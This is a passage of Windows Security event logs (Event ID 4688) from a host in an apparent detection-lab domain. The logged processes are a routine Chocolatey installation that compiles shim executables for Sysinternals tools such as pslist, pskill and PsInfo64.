Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pslist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_9426\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246749 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pslist.exe" --output="C:\ProgramData\chocolatey\bin\pslist.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pslist.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246748 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF642.tmp" "c:\ProgramData\chocolatey\bin\CSC547863EBCDC947E5BD66A1DEF025319B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246747 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246746 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfbc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pskill64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_7238\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246745 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfbc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfbc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pskill64.exe" --output="C:\ProgramData\chocolatey\bin\pskill64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pskill64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x868 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x82c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF567.tmp" "c:\ProgramData\chocolatey\bin\CSC99B58EE1AEB0400B8F6072EC4A3AC8B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe8c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x82c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246741 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x82c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pskill.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_5051\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246740 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb28 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246739 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pskill.exe" --output="C:\ProgramData\chocolatey\bin\pskill.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pskill.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246738 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF48C.tmp" "c:\ProgramData\chocolatey\bin\CSC45191848FDF5448B928A66178242B6E5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246737 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246736 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsInfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_2863\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246735 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246734 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 